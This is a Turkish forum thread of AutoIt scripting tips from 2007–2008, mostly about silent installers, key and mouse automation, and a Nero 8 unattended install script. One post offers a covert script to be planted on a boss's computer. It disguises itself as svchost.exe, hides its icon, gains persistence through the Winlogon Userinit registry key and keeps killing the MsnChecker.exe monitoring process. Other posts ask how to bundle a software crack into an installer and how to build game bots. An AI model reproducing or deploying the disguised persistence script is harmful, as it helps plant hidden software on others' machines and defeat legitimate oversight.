İleri düzey AutoIT örnekleri

***sk8er_boi*** · September 7, 2007

Bir katılımsız kurulum exem

bir de crack dosyasını programın kurulduğu klasöre atan crack.exe m var elimde.

Bu ikisini nasıl birleşik yaparım?

Program kurulumu bitince crack.exe çalışacak ve iş bitecek ama iki ayrı dosya olmayacak tek dosya olacak.

Bir de bazı katılımsız kurulumlarda siyah dos penceresinde kuruluyor.Benim autoitle hazırladıklarımda ise yükleme ekranı nextler mouse hareketleri falan gözüküyor.Gözükmemesi için nasıl bir yol izlemeliyim?

autoit olayını bırakmalımıyım?yoksa onunla da bu yapılabilir mii?scripte kodlar ekleyerek falan

Gizleme için:

http://www.tnctr.com/index.php?showtopic=32381

Exe'nin içine program gömmek için Fileinstall komutu var. Help dosyasından yardım alabilirsin

almalibre · November 4, 2007

AGA BEN bi script hazırlamak isityorum bu script

devamlı ''G'' tuşuna bascak ansıl olcak bu code yazarsan bende anlarım

***sk8er_boi*** · November 4, 2007

AGA BEN bi script hazırlamak isityorum bu script

devamlı ''G'' tuşuna bascak ansıl olcak bu code yazarsan bende anlarım


Do
send("g")
until 1=2[/CODE]

duman6x · November 16, 2007

bi soruda ben sorayım devamlı g tusuna basarken 5 dakkada bir de mesela alt 5 tusuna basması mumkunmu...mumkunse nasıl oluyo acaba simdiden tesşekkürler

***sk8er_boi*** · November 16, 2007

bi soruda ben sorayım devamlı g tusuna basarken 5 dakkada bir de mesela alt 5 tusuna basması mumkunmu...mumkunse nasıl oluyo acaba simdiden tesşekkürler

Mümkün. Ama kişisel makro hazırlamıyoruz burada.

C@NgO · November 16, 2007

Ekranın belirli yerlerinin kod numarasını veren autoit için bir program varmış adı nedir varsa link verebilirmisiniz.

yada şu scripte enter tuşuna basması için kod eklenecek şu haliyle enter tuşuna basmıyor.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

Sleep(1000)

Send("{ENTER}")

Sleep(1000)

Run("devam.bat")

Sleep(1000)

Exit

***sk8er_boi*** · November 16, 2007

Ekranın belirli yerlerinin kod numarasını veren autoit için bir program varmış adı nedir varsa link verebilirmisiniz.

yada şu scripte enter tuşuna basması için kod eklenecek şu haliyle enter tuşuna basmıyor.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

Sleep(1000)

Sleep(1000)

Send("{ENTER}")

Sleep(1000)

Run("devam.bat")

Sleep(1000)

Exit

autoit window info(autoit kurulumu içinde var), penceredeki elementler hakkında bilgi verir. bunları winwait. controlclick gibi fonksiyonlarda kullanabilirsiniz. autoit ile katılımsız kurulum derslerinde değinmiştik.

blackman12 · November 16, 2007

C@NGO arkadaşım orada önce enter tuşuna basmışsın sonra devam.bat ı çalıştırmışsın

şu şekilde yapabilirsin

ShellExecute("devam.bat")

Winwaitactive("pencere adı","pencere içinden bir bölüm") (window info ile bu bilgileri alabilirsin)

Sleep(500) (aslında buna gerek yok ama nolur nolmaz sen koy bişey kaybatmezsin)

Send("{ENTER}")

yavuzccn · November 23, 2007

benim sorum aşağıdaki gibi hazırlıyorum kodları ancak kurulum yapıcağı zaman osmanli.exe yi

temp klasörüne atıyor fakat kuruluma devam etmiyor tempe attığı .exe ye tıklayınca

silent şekilde kurulum devam ediyor acaba nerde yanlış yapıyorum

Opt("TrayIconHide", 1)
FileInstall("C:\Documents and Settings\CCN SERVER\Desktop\osmanlı\osmanli.exe",@TempDir &amp; "\$$.tmp")
FileMove ( @TempDir &amp; "\$$.tmp",@TempDir &amp; "\temp.exe" ,1 )
RunWait(@TempDir &amp; "\temp.exe")
Opt("WinWaitDelay",100)
Opt("WinTitleMatchMode",4)
Opt("WinDetectHiddenText",1)
Opt("MouseCoordMode",0)
WinWait("Welcome","")
If Not WinActive("Welcome","") Then WinActivate("Welcome","")
WinWaitActive("Welcome","")
Send("{ENTER}")
WinWait("Choose Destination Location","")
If Not WinActive("Choose Destination Location","") Then WinActivate("Choose Destination Location","")
WinWaitActive("Choose Destination Location","")
Send("{ENTER}")
WinWait("Select Program Manager Group","")
If Not WinActive("Select Program Manager Group","") Then WinActivate("Select Program Manager Group","")
WinWaitActive("Select Program Manager Group","")
Send("{ENTER}")
WinWait("Start Installation","")
If Not WinActive("Start Installation","") Then WinActivate("Start Installation","")
WinWaitActive("Start Installation","")
Send("{ENTER}")
WinWait("Installing","")
If Not WinActive("Installing","") Then WinActivate("Installing","")
WinWaitActive("Installing","")
Send("")
WinWait("Installation Complete","")
If Not WinActive("Installation Complete","") Then WinActivate("Installation Complete","")
WinWaitActive("Installation Complete","")
Send("{ENTER}")
FileDelete(@TempDir &amp; "\temp.exe")

***sk8er_boi*** · December 10, 2007

;~ SÜPER ADİ PATRON MSN İZLEME ENGELLEYİCİ


;~ Taskbar iconunu gizle
Opt("TrayIconHide", 1)
;~ Öyle bi yere gir ki kimse bulamasın ve açılışta çalış. exenin ismini svchost.exe yapıp windows dizinine de atalım ki tam farkedilmez olsun
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Userinit","REG_SZ","C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\svchost.exe")
;~ öldürücü fonksiyonu 100ms de bir çalıştır
AdlibEnable("killer")
;~ programın bir kere çalışıp bitmemesi için sonsuz döngü
do 
;~ 	bunu koymassanız %80 işlemci kullanır ve görev yöneticisinde farkedilir.
	sleep(100)
	until 1=2
;~ öldürücü fonksiyon
func killer()
;~ 	açılışta başladığından tekrar emin olalım
	RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Userinit","REG_SZ","C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\svchost.exe")
;~ eğer adi patron msnimizi izliyorsa artık izleyemeyecek. çalıştırdığı programın ismini yazalım. eğer bu pencere varsa...
if ProcessExists("MsnChecker.exe") then 
;~ 	gebert!
	ProcessClose("MsnChecker.exe")
	EndIf
EndFunc
;~ şimdi bu programı patronun \windows dizinine atıp 1 kere çalıştır. >:)[/CODE]

blackman12 · December 10, 2007

Nero 8.1.1.0 Katılımsız Kurulum

;Nero SetupX.exe /qb! /NORESTART AgreeToLicense=Yes NSC_DEFAULT_OFF=TRUE;SERIALNUM_USERVAL=xxxx-xxxx-xxxx-xxxx-xxxx-xxxx-xxxx ADDLOCAL=ALL;REMOVE=NeroToolbar6231A394,NeroBurnRights72CC518F,NeroImageDriveE38
B9E06,
;NeroCDDVDSpeed82602EE0,NeroDriveSpeed7DFFCC12,NeroInfoToolE72D824A,
;NeroRescueAgentDE0B9FB0,NeroHome2FF8B816,NeroStartSmartB035464E,NeroSoundTrax71
6FE146,
;NeroVision57D52359,NeroBackItUpCB9D5429,NeroCoverDesigner7CE8D626,NeroWaveEdito
rFA3A3F7B,
;InCDC9AC4AC7,NeroShowTimeD773A6E2,NeroMediaHome53BEFA20,NeroRecode6035F00C,
;NeroPhotoSnapED1EAF52 RebootYesNo=No parametresiyle de kurulabilir zaten aşağıda bundan da
;yararlanılmış Remove bölümünden yüklenmemesi istediklerinizi ekleyin veya silin
;Alındıtır. MSFN

$ID = ""; yükleme yolu
$EF = ""; dosyaların çıkartılacağı yol
$SN = "xxxx-xxxx-xxxx-xxxx-xxxx-xxxx-xxxx"; serial
$PI = ""; Add serials for your plug-ins separated by a comma "," to activate them
$UN = ""; kullanıcı adı
$CN = ""; şirket adı

;yüklenmesini istediğiniz programların karşısına bir istemediğinize sıfır verin
$16 = 0   ; Nero Home
$4E = 1   ; StartSmart
$04 = 1   ; Burning ROM + Express
$59 = 1   ; Vision
$29 = 0   ; BackItUp
$26 = 1   ; CoverDesigner
$7B = 1   ; WaveEditor
$46 = 0   ; SoundTrax
$E2 = 0   ; ShowTime
$20 = 0   ; MediaHome
$0C = 1   ; Recode
$52 = 0   ; Photosnap + Viewer
$8F = 0   ; BurnRights
$06 = 1   ; ImageDrive
$E0 = 1   ; CD-DVD Speed
$12 = 1   ; DriveSpeed
$4A = 1   ; InfoTool
$B0 = 0   ; RescueAgent
$D8 = 1   ; Burn/Burn Settings Plug-In for MCE
$B3 = 1   ; Media Streaming
$75 = 0   ; CopyGadget
$94 = 0   ; Toolbar

$RST = 1   ; Restart script using 1='GUIRunOnce' or 2='GUIRun' if any restart prompt appears
$ASK = 0   ; tollbar yüklemesini sor
$HLP = 1   ; Search and install Nero 8 Help File Package
$NV5 = 1   ; Search and install additional Template Packages for Nero Vision 5
$SCO = 0   ; nero scoutı enable et
$NPA = 1   ; Enable Nero Patent Activation
$NFC = 1   ; Enable autostart of Nero Filter Check
$BKS = 1   ; Enable autostart of BackItUp KeyScan
$EAU = 1   ; Enable Automatic Updates
$AUD = 30   ; Change number of days before Nero checks for updates
$SND = 0   ; Enable all sounds in Burning ROM
$TWS = 1   ; Show temporary writing speed
$EAC = 1   ; Enable all compilations
$EDO = 0   ; Enable DVD overburning
$ESL = 0   ; Enable generation of short lead-out
$ECD = 1   ; Eject CD/DVD after burning is complete
$VWD = 0   ; Verify Written Data after burning is complete
$RBR = 0   ; Run BurnRights to allow all users logged on locally to burn media
$RFA = 0   ; Reset File Associations created by Nero ShowTime
$MIS = 1   ; Enable Media Indexing Services (StartSmart dependency)

$DCC = 0   ; Delete Nero ControlCenter Start Menu shortcut
$DNH = 0   ; Delete Nero Home Desktop shortcut
$QNH = 0   ; Delete Nero Home QuickLaunch shortcut
$DSS = 0   ; Delete Nero StartSmart Desktop shortcut
$QSS = 0   ; Delete Nero StartSmart QuickLaunch shortcut
$DTF = 1   ; Delete extracted and temporary files after successful install

;script başlıyor

Dim $I, $D, $P, $E
If $16 = 0 Then $I = $I &amp; "C2FF8B816=0 "
If $4E = 0 Then $I = $I &amp; "CB035464E=0 "
If $04 = 0 Then $I = $I &amp; "CBCAFF604=0 "
If $59 = 0 Then $I = $I &amp; "C57D52359=0 "
If $29 = 0 Then $I = $I &amp; "CCB9D5429=0 "
If $26 = 0 Then $I = $I &amp; "C7CE8D626=0 "
If $7B = 0 Then $I = $I &amp; "CFA3A3F7B=0 "
If $46 = 0 Then $I = $I &amp; "C716FE146=0 "
If $E2 = 0 Then $I = $I &amp; "CD773A6E2=0 "
If $20 = 0 Then $I = $I &amp; "C53BEFA20=0 "
If $0C = 0 Then $I = $I &amp; "C6035F00C=0 "
If $52 = 0 Then $I = $I &amp; "CED1EAF52=0 "
If $8F = 0 Then $I = $I &amp; "C72CC518F=0 "
If $06 = 0 Then $I = $I &amp; "CE38B9E06=0 "
If $E0 = 0 Then $I = $I &amp; "C82602EE0=0 "
If $12 = 0 Then $I = $I &amp; "C7DFFCC12=0 "
If $4A = 0 Then $I = $I &amp; "CE72D824A=0 "
If $B0 = 0 Then $I = $I &amp; "CDE0B9FB0=0 "
If $D8 = 0 Then $I = $I &amp; "C5AD292D8=0 "
If $B3 = 0 Then $I = $I &amp; "C79061EB3=0 "
If $75 = 0 Then $I = $I &amp; "CED8C2E75=0 "
If $94 = 0 Then $I = $I &amp; "C6231A394=0 "

If FileExists ( @CommonFilesDir &amp; "\Nero\AudioPlugins\AC3.dll" ) Then
	MsgBox ( 0x40010, @ScriptName, "Lütfen Önceki Nero Sürümlerini Kaldırın.", 5 )
	Exit
EndIf

$search = FileFindFirstFile ( @TempDir &amp; "\NER*.*" )
While 1
	$T = FileFindNextFile ( $search )
	If @error Then ExitLoop
	If FileExists ( @TempDir &amp; "\" &amp; $T &amp; "\SetupX.exe" ) Then
		$E = 1
		ExitLoop
	EndIf
	DirRemove ( @TempDir &amp; "\" &amp; $T, 1 )
WEnd

If Not $ID = 0 Then $D = 'INSTALLDIR="' &amp; $ID &amp; '" '

If $E = 1 Or Not $EF = 0 Then
	$path = @TempDir &amp; "\" &amp; $T
	$SetupX = $path &amp; "\SetupX.exe"
	If Not $EF = 0 Then
		$SetupX = '"' &amp; $EF &amp; "\SetupX.exe" &amp; '"'
		$path = $EF
	EndIf
	If FileExists ( $SetupX ) Or FileExists ( $EF &amp; "\SetupX.exe" ) Then
		Run ( $SetupX &amp; " /qb- /NORESTART RebootYesNo=No SERIALNUM_USERVAL=" &amp; $SN &amp; " AgreeToLicense=Yes EULA_AGREEMENT=1 " &amp; $D &amp; $I )
	Else
		MsgBox ( 0x40010, @ScriptName, $SetupX &amp; @LF &amp; "SetupX.exe bulunamadı...", 5 )
		Exit
	EndIf
Else
   ; Search and install distribution
	$search = FileFindFirstFile ( @ScriptDir &amp; "\Nero-8*.exe" )
	$SF = FileFindNextFile ( $search )
	If Not $SF = 0 Then
		Run ( @ScriptDir &amp; "\" &amp; $SF &amp; " /qb- /NORESTART RebootYesNo=No SERIALNUM_USERVAL=" &amp; $SN &amp; " AgreeToLicense=Yes EULA_AGREEMENT=1 " &amp; $D &amp; $I )
	Else
		MsgBox ( 0x40010, @ScriptName, "Neronun Çıkarılan Dosyaları Bulunamadı.", 5 )
		Exit
	EndIf

	Sleep ( 2000 )
	$search = FileFindFirstFile ( @TempDir &amp; "\NER*.*" )
	$dir = FileFindNextFile ( $search )
	$path = @TempDir &amp; "\" &amp; $dir

   ; ToolBar Yüklenmesinin Soulması Ve Çıkartmaya Çek Etmek
	Do
		Sleep ( 500 )
		If WinExists ( "Nero", "Ask" ) Then
			If $ASK = 1 Then ControlClick ( "Nero", "Ask", "Button4" )
			If $ASK = 0 Then
				ControlClick ( "Nero", "Ask", "Button2" )
				ControlClick ( "Nero", "Ask", "Button4" )
			EndIf
		EndIf
		If Not ProcessExists ( $SF ) Then Exit
	Until ProcessExists ( "SetupX.exe" )
EndIf

FileDelete ( $path &amp; "\Data\Redist\Config\conf.txt" )

; Hava Kanalı Yükleyicisinin Silinmesi
FileDelete ( $path &amp; "\Data\Redist\NeroWeatherChannelDesktop\Weather Channel Installer.exe" )

$DX = $path &amp; "\Data\Redist\DirectX\dxsetup.exe"
If Not FileExists ( @SystemDir &amp; "\d3dx9_28.dll" ) Or Not FileExists ( @SystemDir &amp; "\d3dx9_30.dll" ) And FileExists ( $DX ) Then Run ( $DX &amp; " /silent" )

AdlibEnable ( "Prompt" )
ProcessWaitClose ( "SetupX.exe" )
AdlibDisable()

; Checking installation
If Not FileExists ( @CommonFilesDir &amp; "\Nero\AudioPlugins\AC3.dll" ) Then
	MsgBox ( 0x40010, @ScriptName, "Bilinmeyen Bir Nedenle Nero Yüklenmesi Başarısız Oldu", 5 )
	Exit
EndIf

; Search and install Nero 8 Help File Package
$search = FileFindFirstFile ( @ScriptDir &amp; "\Nero8_chm_*.exe" )
$HF = FileFindNextFile ( $search )
$TP = RegRead ( "HKLM\SOFTWARE\Nero\Installation\Families\Nero 8", "TargetPath" )
If Not $ID = 0 Then DirRemove ( @ProgramFilesDir &amp; "\Nero", 1 ); Delete obsolete files
If $HLP = 1 And Not $HF = 0 Then
	RunWait ( @ComSpec &amp; " /c del /q /s *.chm", $TP, @SW_HIDE); Search and delete all Help files
	RunWait ( @ScriptDir &amp; "\" &amp; $HF &amp; " /S" )
EndIf

; Search and install additional Template Packages for Nero Vision 5
If $NV5 = 1 And $59 = 1 Then
	$TD = @ProgramFilesDir &amp; "\Nero\Nero8\Templates"
	If FileExists ( $TD &amp; "\Animated2D" ) Then DirRemove ( $TD, 1 )
	$search = FileFindFirstFile ( @ScriptDir &amp; "\Templates_*.exe" )
	Do
		$TF = FileFindNextFile ( $search )
		If Not $TF = 0 Then RunWait ( @ScriptDir &amp; "\" &amp; $TF &amp; " /S" )
	Until $TF = 0
EndIf

; Handle Nero SFX installers if custom installation path is modified
If $HLP = 1 Or $NV5 = 1 And Not $ID = 0 Then
	RunWait ( @ComSpec &amp; ' /c xcopy /EQY "Nero8" "' &amp; $ID &amp; '"', @ProgramFilesDir &amp; "\Nero", @SW_HIDE )
	DirRemove ( @ProgramFilesDir &amp; "\Nero", 1 )
EndIf

; Apply username
$FA = "HKLM\SOFTWARE\Nero\Installation\Families\"
If Not $UN = 0 Then
	RegWrite ( $FA &amp; "Nero 8\Info", "User", "REG_SZ", $UN )
	RegWrite ( $FA &amp; "Plugins\Info", "User", "REG_SZ", $UN )
EndIf
If Not $CN = 0 Then
	RegWrite ( $FA &amp; "Nero 8\Info", "Company", "REG_SZ", $CN )
	RegWrite ( $FA &amp; "Plugins\Info", "Company", "REG_SZ", $CN )
EndIf

; Activate plugins
If Not $PI = 0 Then
	$PI = StringSplit ( $PI, "," )
	Do
		$P = $P + 1
		RegWrite ( $FA &amp; "Plugins\Info", "Serial8_" &amp; $P, "REG_SZ", "*" &amp; $PI[$P] )
	Until $P = $PI[0]
EndIf

; Disable Nero Scout
If $SCO = 0 Then
   ; Disable Nero Scout in Explorer
	RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3d6be802-fc0d-4595-a304-e611f97089dc}" )

   ; Delete Nero Scout executable to prevent execution
	FileDelete ( @CommonFilesDir &amp; "\Nero\Lib\NeroScoutOptions.exe" )

   ; Search and delete Nero Scout shortcut
	Run ( @ComSpec &amp; " /c del /q /s NEROSC~1.LNK", @ProgramsCommonDir, @SW_HIDE )
EndIf

; Apply settings
$KE1 = "HKCU\SOFTWARE\Nero\Nero8\Nero - Burning Rom"
$KE2 = "HKCU\SOFTWARE\Nero\Nero8\Nero StartSmart\Settings"
If $NPA = 0 Then FileDelete ( @CommonFilesDir &amp; "\Nero\Shared\NL3\NeroPatentActivation.exe" )
If $NFC = 0 Then RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NeroFilterCheck" )
If $BKS = 0 Then RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NBKeyScan" )
If $EAU = 0 Then RegWrite ( "HKLM\SOFTWARE\Nero\Installation\Settings", "AutomaticUpdate", "REG_DWORD", 0 )
If Not $AUD = 0 And $EAU = 1 Then RegWrite ( "HKLM\SOFTWARE\Nero\Installation\Settings", "LastUserAutomaticUpdateDays", "REG_DWORD", $AUD )
If $SND = 1 Then
	RegWrite ( $KE1 &amp; "\General", "CdChangeCheck", "REG_DWORD", 1 )
	RegWrite ( $KE1 &amp; "\General", "CdFailCheck", "REG_DWORD", 1 )
	RegWrite ( $KE1 &amp; "\General", "CdSuccessCheck", "REG_DWORD", 1 )
EndIf
If $TWS = 1 Then RegWrite ( $KE1 &amp; "\Recorder", "ShowSingleRecorderSpeed", "REG_DWORD", 1 )
If $EAC = 1 Then RegWrite ( $KE1 &amp; "\General", "bShowAllCompilationTypes", "REG_DWORD", 1 )
If $EDO = 1 Then RegWrite ( $KE1 &amp; "\General", "EnableDVDOverSize", "REG_DWORD", 1 )
If $ESL = 1 Then RegWrite ( $KE1 &amp; "\Recorder", "ShortLeadOut", "REG_DWORD", 375 )
If $ECD = 0 Then RegWrite ( $KE1 &amp; "\General", "EjectTheCDLater", "REG_DWORD", 1 )
If $VWD = 1 Then RegWrite ( $KE1 &amp; "\General", "UseVerifyAfterBurn", "REG_DWORD", 1 )
If $RBR = 1 And $8F = 1 And FileExists ( $TP &amp; "Nero Toolkit\NeroBurnRights.exe" ) Then RunWait ( $TP &amp; "Nero Toolkit\NeroBurnRights.exe /all" )

; Reset File Associations created by Nero ShowTime
If $RFA = 1 And $E2 = 1 Then
	RegWrite ( "HKCR\.aif", "", "REG_SZ", "AIFFFile" )
	RegWrite ( "HKCR\.aifc", "", "REG_SZ", "AIFFFile" )
	RegWrite ( "HKCR\.aiff", "", "REG_SZ", "AIFFFile" )
	RegWrite ( "HKCR\.avi", "", "REG_SZ", "avifile" )
	RegWrite ( "HKCR\.m1v", "", "REG_SZ", "mpegfile" )
	RegWrite ( "HKCR\.m3u", "", "REG_SZ", "m3ufile" )
	RegWrite ( "HKCR\.mid", "", "REG_SZ", "midfile" )
	RegWrite ( "HKCR\.midi", "", "REG_SZ", "midfile" )
	RegWrite ( "HKCR\.mp2", "", "REG_SZ", "mpegfile" )
	RegWrite ( "HKCR\.mp3", "", "REG_SZ", "mp3file" )
	RegWrite ( "HKCR\.mpa", "", "REG_SZ", "mpegfile" )
	RegWrite ( "HKCR\.mpeg", "", "REG_SZ", "mpegfile" )
	RegWrite ( "HKCR\.mpg", "", "REG_SZ", "mpegfile" )
	RegWrite ( "HKCR\.rmi", "", "REG_SZ", "midfile" )
	RegWrite ( "HKCR\.wav", "", "REG_SZ", "soundrec" )
	RegWrite ( "HKCR\.wma", "", "REG_SZ", "WMAFile" )
	RegWrite ( "HKCR\.wmv", "", "REG_SZ", "WMVFile" )
EndIf

; Delete Media Indexing Services
If $MIS = 0 Then
	RegDelete ( "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "BgMonitor_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA}" )
	FileDelete ( @CommonFilesDir &amp; "\Nero\Lib\NMBgMonitor.exe" )
	FileDelete ( @CommonFilesDir &amp; "\Nero\Lib\NMIndexingService.exe" )
	FileDelete ( @CommonFilesDir &amp; "\Nero\Lib\NMIndexStoreSvr.exe" )
EndIf

; Remove shortcuts
$QL = @AppDataDir &amp; "\Microsoft\Internet Explorer\Quick Launch"
If $DCC = 1 Then Run ( @ComSpec &amp; " /c del /q /s NEROCO~1.LNK", @ProgramsCommonDir, @SW_HIDE )
If $DNH = 1 Then FileDelete ( @DesktopCommonDir &amp; "\Nero Home.lnk" )
If $QNH = 1 Then FileDelete ( $QL &amp; "\Nero Home.lnk" )
If $DSS = 1 Then FileDelete ( @DesktopCommonDir &amp; "\Nero StartSmart.lnk" )
If $QSS = 1 Then FileDelete ( $QL &amp; "\Nero StartSmart.lnk" )

; Delete temporary files
If $DTF = 1 And FileExists ( @CommonFilesDir &amp; "\Nero\AudioPlugins\AC3.dll" ) Then
	If $EF = 0 Then DirRemove ( $path, 1 )
	FileDelete ( @TempDir &amp; "\*.tmp" )
EndIf

; Handle reboot prompt
Func Prompt()
	If WinExists ( "Nero" ) Then
		$CL = WinGetClassList ( "Nero" )
		$SL = StringLen ( $CL )
		If $SL = 21 Then
			ControlClick ( "Nero", "", "Button2" )
			If Not $RST = 0 Then
				If $RST = 1 Then $RST = "RunOnce"
				If $RST = 2 Then $RST = "Run"
				RegWrite ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\" &amp; $RST, "RestartNeroSetup", "REG_SZ", '"' &amp; @AutoItExe &amp; '" "' &amp; @ScriptFullPath &amp; '"' )
				MsgBox ( 0x40010, @ScriptName, "Installation of Nero restarts through GUI" &amp; $RST &amp; @LF &amp; "File rename operations are pending...", 5 )
				Exit
			Else
				MsgBox ( 0x40010, @ScriptName, "Installation of Nero failed." &amp; @LF &amp; "File rename operations are pending...", 5 )
				Exit
			EndIf
		EndIf
	EndIf
EndFunc
FileClose ( $search )

Edited March 31, 2008 by Akozdem!R

gavara · December 15, 2007

ben autoitle javascript(js) dosyasını çalıştırırken ayrı bişey yapmam gerekiyormu yoksa

run("x.js")[/CODE]

blackman12 · December 15, 2007

run değilde shellexecute komutunu kullanman gerekiyor tabi js nin açılması belirlendiği programla açılacak ona göre...

gavara · December 15, 2007

run değilde shellexecute komutunu kullanman gerekiyor tabi js nin açılması belirlendiği programla açılacak ona göre...

o zaman wscript.exe ile mi çagariyim dreamweaver kullanan larda olabılir

blackman12 · December 15, 2007

onu sen bilirsin istersen notepadla aç

Nerox · March 27, 2008

herkese selam oncelikle

benim sormak istedigim Autoitte bi yerin bilgisayarımızdaki kordinatını aldıgımızda mouseumuzun oraya tıklamasını saglamak icin ne yapmamıs gerekiyor cevaplayacak varmı bu arada super bir site paylasımlarda cok guzel

***sk8er_boi*** · March 27, 2008

herkese selam oncelikle
benim sormak istedigim Autoitte bi yerin bilgisayarımızdaki kordinatını aldıgımızda mouseumuzun oraya tıklamasını saglamak icin ne yapmamıs gerekiyor cevaplayacak varmı bu arada super bir site paylasımlarda cok guzel

MouseClick("left",100,100)

100*100 kordinatlarına sol tuş ile tıklar.

Nerox · March 28, 2008

MouseClick("left",100,100)
100*100 kordinatlarına sol tuş ile tıklar.

tesekkurler oluyor son bi sorum daha var simdi ben bu programa bi tusa diyelim 50 kere basıp bırakmasını istiyorum onu nasıl yapacam cunku tusa bas dedigim anda sadece ona basıyor bilmem anlatabildimmi?

***sk8er_boi*** · March 28, 2008

tesekkurler oluyor son bi sorum daha var simdi ben bu programa bi tusa diyelim 50 kere basıp bırakmasını istiyorum onu nasıl yapacam cunku tusa bas dedigim anda sadece ona basıyor bilmem anlatabildimmi?

10 kere entere basar.

send("{ENTER 10]}")[/CODE]

gavara · March 28, 2008

MouseClick("left",100,100)
100*100 kordinatlarına sol tuş ile tıklar.

kordinatların ekran çözünürlüğüyle bağlatısı varmı?

Nerox · March 28, 2008

While 1
Sleep(500)
$pos = MouseGetPos()
$pixelrengi = PixelGetColor($pos[0],$pos[1])
ToolTip("X : "&$pos[0]&" Y : "&$pos[1]&" Renk : "&$pixelrengi)
WEnd[/CODE]

Kardes su kodu yazıp run script dersen sana koordinatlarını v pixel rengini verir...

***sk8er_boi*** · March 28, 2008

kordinatların ekran çözünürlüğüyle bağlatısı varmı?

Var.

gavara · March 28, 2008

While 1
 Sleep(500)
 $pos = MouseGetPos()
 $pixelrengi = PixelGetColor($pos[0],$pos[1])
 ToolTip("X : "&$pos[0]&" Y : "&$pos[1]&" Renk : "&$pixelrengi)
 WEnd[/CODE]
Kardes su kodu yazıp run script dersen sana koordinatlarını v pixel rengini verir...

teşekkur ederim başka yollardanda bakıyorum autoitle kordinat kullamıyorum sadece merak ettim

***sk8er_boi*** · March 28, 2008

teşekkur ederim başka yollardanda bakıyorum autoitle kordinat kullamıyorum sadece merak ettim

Kordinat ile tıklama daha çok oyunlar için bot yapmada kullanılıyor. World of warcraft için balık tutma botu var autoit ile yapılmış mesela. Ekrandaki renge göre hareket ediyor.

qinqor12 · March 31, 2008

Bu renge göre yapma Knight online içinde yapılırmı ??

Sign In

İleri düzey AutoIT örnekleri

Recommended Posts

Link to comment

Share on other sites

Top Posters In This Topic

Popular Days

Top Posters In This Topic

Popular Days

Popular Posts

sk8er_boi

blue_life

blue_life

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Join the conversation

Recently Browsing 0 members